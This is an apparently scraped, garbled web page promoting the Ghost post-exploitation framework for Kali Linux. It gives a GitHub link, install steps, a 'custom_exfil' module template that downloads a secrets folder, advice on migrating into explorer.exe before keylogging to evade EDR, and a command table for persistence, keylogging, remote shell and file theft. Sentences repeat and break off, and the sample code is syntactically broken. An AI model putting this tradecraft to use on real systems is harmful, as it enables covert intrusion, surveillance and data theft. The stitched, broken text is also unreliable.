Ghost Framework Kali Linux Github -

Ghost is perfect for CTFs, OSCP labs, and quick internal assessments where you don't want to trigger EDR with standard Metasploit patterns. Customizing from GitHub Source Since you have the repo, you can write your own modules. Ghost modules live in ghost/modules/ . The structure is dead simple:

https://github.com/EntySec/Ghost

ghost > sessions Interact with session ID 1: ghost framework kali linux github

class GhostModule: def __init__(self): self.info = "Name": "custom_exfil", "Author": "you" def run(self, session, args): # Your post-ex logic here return session.download("C:\\secrets\\*") Ghost is perfect for CTFs, OSCP labs, and

sudo python3 setup.py install Alternatively, if you want to run from source without installation: The structure is dead simple: https://github

Use migrate to jump into a trusted process like explorer.exe before running keyloggers. Ghost vs. Other Frameworks | Feature | Ghost Framework | Meterpreter | Covenant (C2) | |---------|----------------|-------------|---------------| | Setup complexity | Low | Medium | High | | Windows evasion | Good | Excellent | Medium | | Linux support | Medium | Low | Low | | Community modules | 30+ | 200+ | 15+ | | Memory footprint | ~2MB | ~5MB | ~10MB |

| Command | What it does | |---------|---------------| | sysinfo | OS, hostname, architecture, uptime | | persist | Install startup persistence (Registry/Run key) | | keylog | Capture keystrokes from the target | | screenshot | Grab remote desktop (Windows GDI) | | shell | Drop into an interactive cmd.exe | | upload /local/path /remote/path | Exfil tools | | download C:\secret\data.txt | Steal files |